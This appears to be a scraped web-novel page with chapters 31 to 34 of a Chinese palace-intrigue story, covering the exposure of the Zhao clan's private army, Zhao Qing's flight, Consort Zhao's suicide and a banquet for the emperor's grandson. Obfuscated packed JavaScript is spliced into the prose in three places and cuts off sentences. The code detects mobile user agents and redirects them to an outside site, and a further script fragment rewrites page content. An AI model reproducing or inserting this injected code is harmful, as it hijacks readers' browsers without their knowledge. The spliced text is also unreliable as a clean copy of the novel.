到底是他多心了,还是真的有人在牵引他?那背后之人是想借他之手扳倒赵氏,还是想惹得两方相斗,好坐收渔翁之利? 张岁安一时竟也有些看不明白了。 31. 破局 京郊营地,练兵声赫赫。 正值步骑兵晨练之际,领头的校尉杨快叉腰站在台上,抖擞地厉声吼着口号。 忽而一随侍小兵快步跑来,一步跳到台上:“校尉,有人找你!” 杨快正憋了个哈欠要打,忽然被这声打断,只能硬生生地把哈欠咽了回去,转头抹了一把脸道:“谁啊?” “说是江小公子的邻居,姓张。” 江崇在校场时,杨快也算是他的半个引路师傅,自然也知道张府是什么排面,听闻那张府的长公子如今升任校书中郎,跟在大儒身边修典,连陛下都要每月召见问话,可是不得了。 可对方来找他,一没报门楣,二没报官名,只说了个最不起眼的身份,江家的邻居,像是刻意要放低姿态似的。 杨快微眯了眯眼,也摸不着头脑,冲着小兵道了一句:“你帮我盯着。”转头便去了营署见客。 一进帐中,只见一清俊白净的年轻公子正安安静静地候着,长得就跟那话本子里写的似的,活脱脱一芝兰玉树的世家郎君,跟江崇那浑小子完全是两个模样——不过张府嘛,书香世家,肚子里头有点文墨,气质自然也翩然清秀些。 “哎呀呀,张小公子,稀客,稀客。”杨快大步流星地走上去。 张岁安闻声转头行了一礼:“见过表叔。” 这一声“表叔”叫得杨快一愣,硬是半天没反应过来,仔细一琢磨,才想起自己跟张岁安的外公,也就是当朝的杨老太公还隔着山路十八弯的远亲,真论起来,与张岁安勉强算是有着那么一丝寡淡如水的亲戚关系,只是这亲戚淡得他自己都不好意思提,没想到这堂堂张府的公子竟然还认得这样清。 “客气,客气,真是折煞我了。”杨快摆了摆手道,“这大清早的,来我这灰土尘堆的大营有何事啊?” 张岁安露出几分晚辈的难为情来,抿了抿嘴道:“晚生今日冒昧前来,确实是有一小事,思来想去,只能请表叔帮帮忙,还望表叔莫要嫌烦。” 张岁安一口一个“表叔”把杨快捧得甚难为情,好似真成了他堂堂祭酒家公子的长辈似的。 “前几日,我托叔父从南阳郡找来了几份典籍孤本,本是修典所用,没想到运至京郊时,竟被那山贼所劫……”说至此处,张岁安面色为难,连连叹声,“修典之事乃陛下所托,那些孤本更是难寻,若找不回来,不仅耽误了修典,恐怕还要去向陛下请罪,表叔可否帮晚生想想办法。” 杨快大手一挥:“既是些书简,不是金银,那就好办了,那些匪寇抢了车马,里头的无用之物要么扔了,要么就当柴烧了……” 他一武人自然不觉得几卷书有什么要紧,但想着那毕竟是修典所用,这张小公子丢了书,眼见着是担心得不行,他连忙又安抚了两句:“你放心,只要没被当柴烧,我保准给你寻回来。” 张岁安听他应下,感激之辞又说了一堆,末了还补上一句:“子康还有一求,祁夫子年纪大了,若是知道孤本有失,怕是要茶饭不思,可否请校尉先别声张,若实在找不回,夫子那边我再去请罪。” 杨快拍着胸脯道:“好说,好说,我就当是日常巡查得勤些。” 毕竟张岁安如今能上达天听,又是江崇的好友,几卷木头书卷,找得回来那算是立功,找不回来做做样子,也不得罪人。 京郊山外,五大营的步骑小队正赶趟似的天天往山里头巡查。 绥京城中,夜色下的朱楼风月依旧。 琵琶琴声绕梁而起,弦音柔婉,透着说不清的靡靡,声色犬马间,颇有一番隔江犹唱后庭花的观火之态。 小厮提着夜灯,引着一黑衣男子进了后院,借着夜色,入了那长着扶桑花的深阁中。 阁中之人似是早知他会来此,早早备好了茶水,只是黑衣男子并没有多少耐心:“瓷娘呢?” 侍茶的女娘抬起纤纤玉手递来杯盏:“姐姐还在梳妆。” “都什么时候了,还梳妆。”他一口将茶水仰头饮了个干净。 珠帘哗啦轻响,一婆娑倩影从帘后缓缓走出:“赵大人如此心急,怎能品得出这上等好茶的真味?” 赵青黑着脸坐在案前,看样子火气不小:“你好大的派头,竟要我来等你了。” 他目光扫过那女子,只见她一身石榴红色的软缎裙,手握一把白玉团扇,鬓边的簪子泛着别样的光泽,眼波流转间,朱唇似笑非笑。 赵青见了美人,心头的火气也不见得淡下来:“最近是又见了什么贵人?我瞧你头上那只点翠的簪子不像寻常物件。” 瓷娘闻言,眼角一笑,扶了扶鬓角,酸溜溜地讥讽道:“大人许久未曾来过,怎么今日倒忽而想起妾来了?” 赵青正是心烦时,懒得解风情,只厉声道:“想来便来了,哪那么多废话。” “大人火气不小,”瓷娘莞尔一笑,“看来是有人惹得大人心烦了。” “你消息素来灵通,难道不知道我为何心烦?”赵青横了她一眼,语气间俨然不像个来寻风尘的常客,反倒像个来撒气的。 “当然知道。”瓷娘温声在赵青身边坐下,手上的玉柄团扇悠悠晃着,“不过就是有人做局,让宫里头的贵人蒙污,后又东窗事发,昔日还是一方郡守的赵二公子,今日也成阶下囚了。” 她说着,抬眼瞥了眼赵青,语气温软,却字字珠玑:“不过大人眼观六路,到底是谁在背后推波助澜,大人想来也是知道的?” 赵青当然查过,张府的人在背后牵丝绕线,硬是把赵氏藏在下头的动作全给腾到了面上来,害得他们一家沦为众矢之的,被那些老臣参成了马蜂窝:“一个老腐儒,也不知被那七皇子下了什么蛊头,净顾着跟我们对着干。” 瓷娘似笑非笑道:“看来大人还以为是张府的主君在搅弄风云啊。” “若不是他,还能有谁,难不成是他那个初出茅庐的儿子吗?”赵青随口说完,也是一顿,转头见瓷娘笑而不语,也不禁在心头恍然,“不会真是那小子吧。” “这张府的祭酒大人藏锋多年,赵家无势时他尚且没有出手,七皇子在他府中时他都没有偏护,何必要忽然出来搅弄朝局呢?” “可他家的公子,才跟我家那个一般大……” 赵青难以置信间,还顺道夹杂了一丝不甘。自己家的儿子天天跟初具人形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这话说得赵青脸色一黑,瞬间想起之前的事来,越想越气不过,转手狠狠捏着身边人厉声道:“太初观那事若是做得干净,如今也没这么多麻烦事。” 瓷娘腕口一转,抬手用扇面将对方的手拂开:“妾不过说了句玩笑话,”她端起酒盏,慢悠悠地往赵青嘴边递,“大人可别放在心上。” 赵青本还带着几分戾气,却也在温柔乡中散去大半。 夜半,醉得晕头巴脑的赵青被小厮扶上了马车,昏昏沉沉地回了赵府。 刚刚到府,就有人小步上前:“大人,出事了。” 赵青醉醺醺地不耐烦道:“哪天不是在出事。” 那人不敢怠慢,连忙上前低声在赵青身边耳语了一句。 赵青听完,醉意瞬间醒了大半,脸色比烧尽的黑炭还要黑上三分,他一把推开周身的小厮,大步朝府中后院的隐秘处走去。 “当真?” 亲信点了点头:“我们一直盯着五大营的动向,张府的人是早上去的,晌午过后,步兵营就专门拨了一队人开始巡山了。” “打听出什么由头没有?” “好像说是被劫了什么东西,具体的还没能问清楚。” 赵青默了良久,又想起朱楼那一番闲谈,心下不得不起疑,赵显走私案就是那张岁安在背后搅动风云,京郊私兵一事保不齐也被他窥出了端倪。 眼下赵家不能再出事了,这张府上有老乌龟,下有小狐狸,实在不得不防,宁可信其有,也不可信其无。 赵青沉声吩咐道:“告诉赵虎,所有的人全部分散,藏去后山,不许冒头,还有,这几日不要送粮,让山上的人忍几天。” “是。” 32. 私兵 京郊百里外,蜷在黑山洞中的三五人借着夜色冒出头来,悄悄生了火,将挖来的野菜根和几只麻雀烤熟,就地扒着吃了个干净,恨不得连骨头也嚼碎咽了。 已经是第五日了,粮食一断,个个都饿得前胸贴后背, 上头没有命令,只能耗着,鸟都要吃光了,再熬下去,只能吃山耗子了。 快死容易,偏偏是这饥饿,最让人心浮动。 几人悻悻地踩灭了烤食的火种,看着白花花的月亮,都觉得馋,私兵断粮,撑不过十日。 京畿五大营的驻地处,张岁安隔三差五地便去一趟,只问那车孤本的下落,言语间,是生怕耽误了修典的工期。 杨快每次见他,都口头上应付着打包票,一口一个:“子康贤侄,你放心,就算是被当柴烧了,也给你把炭扒拉回来。” 晌午正值营中放饭时,杨快见张岁安来都来了,干脆也留下他一起在营中用饭。 忽而一小兵匆匆来报:“校尉,有处农庄逮着几个抢鸡的贼!” 杨快头也没抬,扒拉了两口碗道:“屁大点事,用得着报到我这儿来吗?” 另一头的副将哈哈笑了两声:“肯定是咱这几日巡得太严了,山上的贼人连道也不敢劫了,只敢去抢鸡了。” 杨快嚼着手里的肉,似乎觉着哪里不对:“这些山大王年年抢财,囤的粮也够吃上一阵了,眼下这才几天啊?” 跪报的小兵又补上一句:“那几人都各自蒙面,我们的人赶过去时,刚好将其团团围住,他们眼见跑不了了,直接就地自戕了。” 边上的副将一听,顿时又仰笑起来:“这是吓破胆子了。” 杨快也跟着笑了两声,继而忽然心头一凛。 不对劲。 听说过山贼奋死反抗的,也听说过跪地求饶的,眼见被活抓,二话不说就地自戕的,不像是山贼,更像是…… 死士。 尤其是训练有素的死士,他们的亲族家眷都握在主人手里,一旦暴露身份,为防审讯泄露,不会留活口,几乎是原地就死。 有死士还不足以稀奇,只是这京畿重地,周围藏有不明势力的死士,宁肯去抢鸡,也不愿下山,他们在守着什么?难不成这山里头还有更见不得人的东西? 前朝时,就曾有一桩旧案,就是那乱臣在山中藏着私营兵械,后伺机伪装成商贩百姓潜入城中,掀起了一场白衣之乱…… 杨快猛地抬起头,仿佛咽了只苍蝇,顿时怒目圆瞪,他下意识地转头瞥了一眼张岁安—— 只见此人临危不动,似是早有所料。 这个素来被他当作文弱书生的公子,此刻嘴角勾起一抹淡笑,温文尔雅的眉眼间,露出几分不显山不露水的谋算,好似能洞穿人心。 张岁安抬起眼,不疾不徐地沉声道:“表叔,今日我便送你一记大功。” 夜深,几驾载重的车马出了城,往京郊山外驶去。 车马渐行渐远,越走越偏,一路出了明哨布防之外,挂在马车头上的孤灯摇摇晃晃,在山林树影中忽闪忽灭。 再往前,便是一处险道,周遭丛林密布,不见月光,是过山的必经之路,若是往日,沿途车马行至此处,都是快马加鞭,速速而过。 而此时,这些车马却不疾不徐地行在其间,四周静得只剩马蹄哒哒和车轨的咯吱声。 忽而,一只惊鸟自山林飞出,带出几片落叶飞声,同一时间,山道两侧的密林中,骤然响起链锁飞展之声,两道闪着冷光的铁索瞬间拉直,勒住了行车的马蹄。 老马吃痛,猛地仰头嘶鸣,托着的车架顺势颠簸,歪扭了两下,彻底翻倒在地。 最面上的麻袋被颠得破了,松口之处哗啦啦地洒出糙米,好似一地碎白的银粒。 “快跑啊!”护车的人二话不说,四散奔逃。 紧接着,七八个黑衣人自密林窜出,也不追人,只顾着抢车,匆匆围上前去,用铁索绑起车头,把散落在地的米粮宝贝似的捧回袋中,捆绳绑好,拖着往深山中运去。 黑夜的山像一座迷宫,深处绕着弯的小道藏在密闭的林丛中,只有熟悉的人才能辨出方向,每到一处,还有刻意设下的岔口。 其中一人忽然停下,沉声道:“外头的车马不能再进去了。” 另一人问道:“那这车粮怎么办?难不成要一袋袋扛回去?” 那人沉默了一会儿:“扛吧……” “饿得没力气了,要扛你扛,我扛不动。”说完还没好气地补上一句,“本来做这行就是为了吃饱,战死也好,打死也行,就是不想饿死。” 另一人想了想,又瞅着厚重的粮袋,也跟着力虚:“行,走吧。” 车马继续行至山中,再往里,山道渐渐变宽,尽头出现一处乱石山洞,洞口隐约能瞧见晃动的火光。 此前这里的确有一窝山贼,不过后来便被人悄声匿迹地灭了干净,成了一处隐秘的练兵场。 守在外边的几人赶紧上前:“怎么才来?” 领头的黑衣人扯下蒙面的布:“有就不错了。” 马车再往里行,一个个饿得虚脱咬着草根的人便黑压压地扑了上去。 忽而,树影一颤,抖落的碎叶悄然落下,刀影迅速自叶影下亮出,从粮袋后刺了出来。 挤在最前边儿的人毫无防备,被尖刀直接从里自外地钉在了粮袋上。 外头的人惊呼着散开,月光自树影中倾泻而下,照亮了林中的徐徐冷甲—— “是官差!”有人撕心裂肺地喊了一声,“快撤!” 另一头又冒出一声:“撤个屁,我们人比他们多!” “快去抄家伙!” 为了掩人耳目,这群“山贼”各自分散,没了领头的主子,顿时就不知该怎么打了。 杨快从粮堆里窜出头,操起配剑抖干净身上的碎米糠,带着几人抢先一步去夺洞中的兵械,几个饿得无力的刚要抽刀抵抗,就被兵士一脚踹翻。 眼见手无寸铁,外头饿得发慌的乌合之众只能就地遁形,沿着山洞两侧,往密林中逃去。 只见他们三人一组,一人护后,出动有序,有静有藏,若不是这堆人中有习得多年的兵将,那便是这伙人压根就不是什么普通山贼。 “抓活的!” 兵士们应声而出,借着夜色,分不清是兵是贼的黑影瞬间打成一团,林中似有弩箭声声,将逃窜之人射断了腿。 打又打不过,跑又跑不走,连原地自戕都没有家伙,最后只能被团团围住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445041|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就着捆粮的布袋和绳子,一个个地被捆成了粽子。 杨快打着火把,走到被压平的林丛中,得意地捡了几粒糙米嚼了嚼,冲着其中一人道:“饿吗?” 那人点了点头。 “那你交代下,是谁将你们养在此处的?” 那人估计是饿昏了,照本宣科地干吼道:“我们是不会背主的!” 杨快一笑:“那就是有主了。” 很快,兵士们就在各处洞里又挖出了几箱兵械,各类刀甲皆是统一的规制,俨然与山贼伙寇那类杂七杂八捡到啥用啥的武器库不同,其中甚至还有精铁锻造的长刀和机关连弩。 “好家伙。”杨快见着这一箱箱的囤货,啧啧称叹,“这玩意儿连五大营都缺,这伙人倒好,来路不小啊,囤货似的藏这么一大堆。” 兵士们扛的扛,抬的抬,大张旗鼓地连人带家伙,一车车运回了营中。 消息很快就传到了赵府。 亲信屁滚尿流地汇报完后,赵青一瞬间几乎耳目失灵,踉跄着差点一个跟头摔过去:“怎么会?我们连送粮的车都断了,他们是怎么找到地方的!” “就是因为断了粮,又各自分散,没了统领,有些人擅自下山抢食,结果就中了圈套……” 赵青眼色更黑:“抓住活口了?” 亲信沉默着点了点头,继而又道:“不过他们的亲眷都握在赵家手里,应该不会这么快招供的吧……” 赵青急得左右踱步:“不行,万一有两个受不住刑的,眼下赵家左右都是死路,不能就这么坐以待毙……快去通知赵免,让他调换布防,掩护我出城,快!” 天际还未破晓,月光已然黯淡,晨雾阴得发蓝,扮作商贾的车匆匆行至城外,马蹄践起一路的泥水,黑黢黢的叶林擦着车棚细密地响。 赵青的车马借着执金吾的掩护一路出了城,临至关隘时,只见一杂草丛生的小亭。 亭中站着一人,浓雾之下,那人身形难辨:“赵大人抛妻弃子,宛如丧家之犬,不觉得狼狈吗?” “谁!”赵青等人被这鬼音吓得一愣,一时难辨来人敌友,跟受惊的刺猬似的,纷纷拔刀冲着那夜下孤亭。 “与其问吾是谁,赵大人不如先想想,自己要何去何从。”风一吹,亭周的杂草丛都跟着那人的声音窸窣作响,“北有北防,南有守军,东边的会冶东莱此刻更是被军监把守,赵大人想要逃去哪呢?” 赵青在凉夜中闷出一口冷气,也不知如何作答。 “吾给赵大人指条路吧。”那人挥了挥衣袖,好像雾中一颂诗的书生,“要么,回城,赌一把圣意未绝,借着赵氏的旧情求一条活路,只是事已至此,天家富贵往后定是再也没有了。”他顿了顿,“要么,西郊笑忘山中有一处古庙,那里,有赵大人想要的生路。” 赵青咬牙道:“我为何要信你?” 那人轻飘飘道了一声:“你也可以不信。吾言尽于此。” 说罢,长袖一摆,翩然消失在雾色的林丛中。 车夫回头看向赵青:“老爷,往哪去?” 赵青沉默了良久,半晌没能开口说出个答案来。 他回望了一眼京城的方向,一念之后,哑着声音开口道:“去笑忘山。” 33. 赵未女 杨快以一己之力,剿出京郊私兵数桩,立了大功,旋即五大营各自出动,七七八八地将藏在山里的线索挖了个遍。 只是还未等刑讯司审出份严实的口供来,赵青却忽而像人间蒸发了一般,京郊各关口追查数日,竟然都没查出一个详实的去向。 不过他不跑倒还好,这一跑,几乎是把罪名给坐实了。 哪怕是公侯之家,私养甲士超过二十人便属于逾制,五十人以上就可视为谋逆,况且还是养在京畿要地,乱臣贼子之心,简直是昭然若揭。 朝野哗然数日,亦是感叹这赵氏怎的一朝还是天子近臣,一朝就接二连三地爆出惊雷,直接从云端一下子摔死到了十八层地狱,莫不是祖坟出了问题,就是惹到了哪路神仙罢。 执金吾赵免作为掩护之人,当即被拿下,赵免原就只是执金吾下头的一个小兵,靠着赵氏族亲的身份才坐上了统领位置,入了刑讯司才没几天,就招了个干净。 数年前,皇后薨逝之际,他就受赵青指使,买通人在京中四处散播七皇子克亲之名,后来又利用职权,调换了太初观的守卫,以便造成山贼害命皇子的假象,就连赵氏在山上豢养私兵时的粮草兵械运送,都有他在其中做过掩护。 消息传入宫中,赵贵嫔被禁足在寝殿里,过了阵不见天日的日子。 她没心思点灯,殿内昏沉沉的,脑子里反复谋算着,心里却越想越凉。 此前,赵家的人在外面捅了篓子,哪一次不是她从中斡旋,可这一家子人净顾着野心,却都是些没脑子的,到头来竟没一个靠得住。 就连自己的枕边人,也是一样。 赵氏私募死士,本是赵贵嫔替赵家筹谋的退路,为了帮景和帝监察朝臣,打压异己,赵家得罪了不少人,手里没点钱粮兵铁,以后要如何自保,谁曾想他们做得如此不谨慎。 她太了解景和帝了,这个外表和气内里善疑的君王或许可以容忍自己在后宫搅弄风云,容忍外戚私下手脚不干净,但他却万万不能容忍自己手下的权柄生出异心。 这些年来,她做着景和帝身边的解语花,靠着揣度圣意铲除异己,才得来了一方荣宠。 早年,吕美人仗着母家在南境一战中立下军功,五皇子又天资聪颖,便渐渐失了收敛,越发骄横,景和帝心里对她母家多有不满,明面上却也只能暂且容下,直到五皇子出事后,吕氏的气焰才被削去了半截。 后又是七皇子血痣克亲一事,话是赵家人传的,但事却是景和帝默许的,赵家所为,哪次不是顺着景和帝的意思来的。 这些年,赵家看似风光,实则不过是景和帝挑中的一把好刀,如今这把刀也钝了。 东窗事发,弃车保帅,景和帝既然能借赵氏这把刀杀人,也未必不会卸磨杀驴。 “贵嫔,你一日未进水米了,好歹喝点茶水吧。”婢女慧安奉上茶盏劝道。 赵贵嫔枯坐在榻边,直了直身子:“玉瓒是又哭了吗?” “贵嫔是不是糊涂了,公主已被送去三皇子殿中照顾了。” “噢,对,是陛下的旨意。”赵贵嫔端起茶盏,饮了半口,望着茶杯上的浮末,出了神,“我幼时家中贫寒,平日待客的茶叶都是集市上讨来的陈茶碎末,用油纸包得再严实,喝起来也总有股子霉气,那时候总想着,这没有霉味的茶,会是什么滋味?” “贵嫔是贵人命格,不论出身如何,都是能享福的命。”就连贴身伺候的慧安也鲜少见主子如此颓然的模样。 “咱们的那位七殿下,生来就是中宫嫡出的皇子,多尊贵的命格,还不是被叩了个克亲的贱名。”赵贵嫔轻笑一声,心下生出几分不甘,“小小幼子,心思倒狠,害我费尽半生力气为家族挣来的权势,竟然就这样一朝败了。” “不会的,贵嫔诞育皇子,公主也备受圣宠,陛下不会真舍得罚您的。” “赵氏被抓死了把柄,已经是无用的刀了。”赵贵嫔嘴角一勾,露出一个酸苦的笑,“谋害皇子,可是抄家灭族的死罪,就算陛下不认,眼下朝臣们这架势,也会逼着他认的。” 赵氏一族是逃不了了,自己谋害皇子的罪再被落实,那三皇子作为有罪妃嫔之子,就再无出头之日了。 若还想为赵家留条后路,还想东山再起,三皇子的名声便不能有污。 赵贵嫔隔着窗纸,望向缓缓欲落的斜阳,未施粉黛的脸透出几分毫无血色的白:“真是草舍廊前燕,恨生明月志……” 她是未时所生,未时生的女儿,便被草草取了个未女的名字,不似兄弟那般有名有意,像是刻意要将她区别在外。 可这赵家一族的荣耀,偏偏是她这个最不受待见的女儿挣来的。 她入宫争宠,步步为营,从一个铁户女爬到贵嫔之位,她为兄长铺路,为家族敛权,让赵氏从一个不起眼的庶族,变成举足轻重的一方势力,她费尽心机,让儿女受尽圣宠,眼见着天家延绵不绝的富贵近在眼前……偏偏就是错了一步,满盘皆输。 半生心血好似镜花水月,真是成也圣意,败也圣意。 “慧安,替我存两封密信,一封留给三皇子,另一封,待日后寻得机会,送出宫去。”她默了良久,声音轻得宛如一阵叹息,“再去将我与陛下初见时穿的那身罗裙找出来。” “喏。” - 张岁安还是每月例行公事地进宫向景和帝奏报修典进程,若景和帝抽不出空,他也是亲自入宫将文书奉上。 朝堂上赵氏一族的大案接二连三,闹得沸沸扬扬,他倒是稳如泰山一般,两耳不闻窗外事,一心只修同文典,规整得让人挑不出错处。 温承殿的后院池子里养了一团子鱼,景和帝批折子批得乏了,便靠在竹椅上喂鱼。 “这窝鱼养在这池子里,不愁吃喝,久而久之就懒得动弹,朕此前命人找了条大鲶鱼放进去,这大鱼吃得多,性子也蛮横,进去一搅和,原本那些老鲤鱼反倒回光返照似的,一下子都活过来了。”景和帝靠坐在竹椅上漫不经心地说着。 张 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张岁安躬了躬身子:“臣不是养鱼人,自然懂不了这么多。” 景和帝淡淡道:“你不养鱼,却会用人,听说杨快寻拿赵氏私兵一事,就是你在背后出的主意?” 张岁安垂着眼皮:“是杨校尉巡防得力,臣不敢居功。” 景和帝低低笑了两声,将盘中鱼食撒了个尽:“池子不能脏,但老鱼总得搅一搅他们才肯动,一头大鱼没了,自然还能养新的。” 张岁安心下将景和帝的话翻译了一遍,无非是说皇室的尊荣不能有污,士族老臣们需要敲打。 在这件事上,赵氏越是张狂,士族便越是团结,而景和帝大可扮演好一个受奸人蒙蔽的君主,肃清吏治,查抄奸佞,反倒能让士族看清谁才是真正给他们鱼食的人。 所谓权臣,一念而已,要么封侯拜相,要么千古罪人,昨日权倾朝野,明日就可以是王朝的替死鬼。 毕竟臣子是可以换的,而君王若是有污,那换的可就是朝代了。 两人正说着,传话的内侍忽然神色匆匆地小步跑了进来:“陛下,陛下……” 常玉见他急躁,不免训了一声:“陛下面前,有事慢慢说。” 小内侍缩了缩脖子,躬下身子道:“瑶池殿传来的消息,赵贵嫔,她,她自戕了……” 这消息来得突兀,景和帝也跟着一怔。 天色愈暗,乌云欲雨,催得飞花残乱,被风卷得撞在朱红墙上。 瑶池殿前,三皇子带着玉瓒公主跪在门外,哭得凄声惨惨,宫人们拦的拦,跪的跪,闹哄哄地挤成一团。 见景和帝来此,才各自安分了许多,只顾着趴在地上啜泣。 赵贵嫔穿着一身少女时的水绿罗裙悬梁而死,她的贴身婢女慧安在殿中寻得了她留下的遗言。 那段绣着玉兰的绢布上,只有短短的三个字: “妾冤枉。” 34. 巫师 绥京城的冬湿冷入骨,灰涩的天际总不清明,延绵的雨下了一场又一场,浇得厚重的宫墙又沉了三分。 佑炆殿起火一案,最终只审到了那个洒扫的宫婢,她恶意纵火,谋害皇子,论罪当诛。江崇和常乐失职未能护主,各自挨了二十廷杖,罚俸三月。 至于五皇子一案,毕竟隔的年岁太久,光靠证词无从考证,景和帝给吕美人母族漏了些恩惠,背后又施了些压力,明面上算是把这场火头给灭了。 火虽灭了,烧坏的根却还在。赵氏一族数罪并罚,被抄了家,但赵青作为赵氏长子,却逃之夭夭,未能绳之以法。 赵显的船上明晃晃地查出了司农寺的官货,大司农卿推了个司农丞出来挡灾,大司农梁瑞毕竟算是半个国舅爷,赵氏已经折了,老臣们看在景和帝的颜面上,也不好再直冲冲地追着杀,大司农明面上躲开了祸头,私下也收敛了几分。 而宫中的赵贵嫔,虽未能以贵嫔之礼下葬,但景和帝念着几分旧情,以其诞育皇嗣有功为名,让她入了皇陵。 赵贵嫔若还活着,老臣们或许还会借势进言到底,可如今毕竟人都死了,景和帝哀郁成疾,朝臣们也不好再咄咄逼人,三皇子还是那个孝悌的皇子,玉瓒公主的圣宠也依旧是只增无减。 蝗灾过境后的地方饿死了不少人,灾粮一经二二经三,最后也是杯水车薪,人饿绝了,没有饭吃,便开始生乱,尤其是南境一带,地处边境,粮荒兵弱,小股乱民聚成流寇,大大小小的闹了不少起义。 边境动乱不止,陛下还圣体违和,大臣们是又慌又乱,问安的折子雪花似地往上递,问完还不忘补上一句:请陛下以国计为重,早立储君。 景和帝一看,更是气得连罢了好几日的朝。 张岁安闷声不动,借着徐秋还的口,在徐老司徒面前提了几句春祭之事。 徐老司徒这个老头鬼精,一下便明白其中的微妙之处,眼下圣体违和,春祭自然要皇子代祭,这代祭之人,须为宗脉正统,嫡子代祭,方才名正言顺。 徐司徒转而只字不提立储之事,只是借着来年开春祭太庙的由头,撺掇着太常寺卿请了几个好字上去,暗示陛下为七皇子赐名。 既然七皇子克亲之说,是赵氏族亲刻意谣传,那如今赵氏伏法,七皇子自然也该有个名正言顺的宗碟才是。 这春祭表面上是祖礼,内里却是定储的预示,只要七皇子代景和帝上了那祭坛前,那离太子之位便只剩下一纸诏书。 景和帝面上应了朝臣们的意思,让太常寺回去好好斟酌为皇子取名一事,另一手,却一纸诏令将驻守边境的二皇子给召了回来。 二皇子归朝后没几日,就因在边境平乱有功,被御赐了金印紫绶。 接着,景和帝又说自己老了,也想能含饴弄孙享享天伦之乐,便在绥京城中为二皇子一家赐了府邸,好让皇孙也能常常入宫。二皇子的孩子不到两岁,连话都说不利索,却被景和帝出入都带在身边。 朝臣们虽然嘴上不说,心里却也明白,景和帝折了一个赵氏,便要再起一方炉灶,可即便心里边不认可景和帝这一套,面上却也不好多说什么。 午后的兰台树影婆娑,冬日的暖阁里待久了,人也被闷得惰懒,祁圣人借着透气的功夫,躺在树下的竹椅上小憩。 “夫子?”张岁安轻声上前唤了唤,祁圣人半天没有回应,他又提了几分声量,“夫子。” 祁圣人一抖,回光返照似地醒了过来:“几时了?” “已过未时三刻。” “咳……”祁圣人揉了揉眉心,“昨日我与你家杨老太公聊至半夜,你外祖那老头子,一把年纪,话都说不利索了,还非要与老夫辩经,真是累煞我也。” 张岁安顺着话茬笑了笑:“外祖向来如此,与夫子定是一见如故。” “倒也是,吵了一夜,他许是也想明白了。” “夫子若是困了,不如晚生备车马送夫子回客舍?” “那不行,面上还是要在这儿坐一会儿的,不能总待在家中,显得老夫我白拿俸银。”祁圣人撑着身子坐起来,闷闷地发出几声老迈的气音。 张岁安扶着祁圣人往署内走,内室里裹着一股暖腾腾的茶香,程为将温好的热茶递到祁圣人手边。 祁圣人喝了茶,神色清明了一些,忽然想起什么似的:“说来差点忘了,昨日有宫人将帖子送到我客舍,说陛下要为皇孙办个生辰宴,可有此事?” 张岁安吹了吹茶盏上的热气:“是,张府也收到了。” 祁圣人两撇白胡须一翘:“天灾当前,叛乱四起,民心浮动,怎么还要折腾?” “如今赵氏没了,三皇子势微,二皇子母族卑微,但二皇妃却是都尉之女,手里握着边境实权,陛下善爱制衡,故而才想借皇孙的名头,给二皇子撑撑场面吧。”张岁安如今揣度起圣意来,也透着股习以为常的平静了。 祁圣人毫不避讳地言道:“袭国再经不起夺嫡之乱了,再乱可真要亡国了。” 程为在边上听了祁圣人这话险些没被一口茶水噎死,恨不得自己当场聋了,没听过这等忤逆之言。 张岁安跟在祁圣人身边久了,也习惯了,他云淡风轻地喝了口热茶:“晚生写给叔父的书信,想必也该到了。” 张老太公幼弟之子张牧现任怀州刺史,怀州这地界横跨江脉,又有山险,南临南疆,北临北朔,是块要地,早年刺史统管一州,后来又分立成三方,变成了刺史主政,都尉掌兵,皇子监军。 当年景和帝把二皇子派过去,又让他娶了都尉的女儿,就是想将边境军权尽可能地收拢到皇权手中。 可张牧毕竟在南境经营多年,威信一直都在,加上今年蝗灾过境,粮荒兵疲,他开仓济民,号召兵民一同救灾,在南境的威望更是又进了一层。 眼下给七皇子取名一事都还未定下,景和帝又忙着去给皇孙办什么生辰宴,不过毕竟是皇家宴席,朝臣们即便私下颇有微词,面上却也是个个喜笑颜开,祝贺之词满天飞。 皇亲宗室中,除了生病的玉瓒公主和神志不清的五皇子没来,其他几乎全都到了,几位出嫁的公主也来了,就连从未外见过朝臣的七皇子,也是第一次出席了。 殿阁上,小七穿着一身临时裁做的玄色织金宴服,撑着脑袋坐在皇子座席的边儿上。 阶下的宗亲和重臣时不时地望他几眼,继而不经意地跟邻座交头接耳,弄得他满身不自在,身旁的内侍提醒了他半句仪态,他不得不放下胳膊,端端正正地坐直。 他百无聊赖地端坐着,眼神扫过人群,往南阶下的外臣席座里瞧了半天,远远地望见那张岁安一身官袍,正与邻座之人寒暄往来,好不快意。 而自己却只能端坐在这阶上,被众人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445043|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双双眼睛盯着,像个僵在这里的吉祥物似的。 二皇子一家坐在御座边,更是众人瞩目,他们久居边境之地,鲜少回朝,一回来就被景和帝高抬到如此位置,坐在席间也觉得束手束脚,可看在陛下的面子上,谁也不好露出半分疲态来。 “爹爹。”小皇孙被景和帝抱在怀中,两只小手却一个劲地朝二皇子探,似乎被抱得并不是很舒服。 二皇子是接也不是,不接也不是,只得冲着儿子陪笑道:“乖,叫皇祖。” 小皇孙也听不太懂,只顾着叫:“爹爹。” 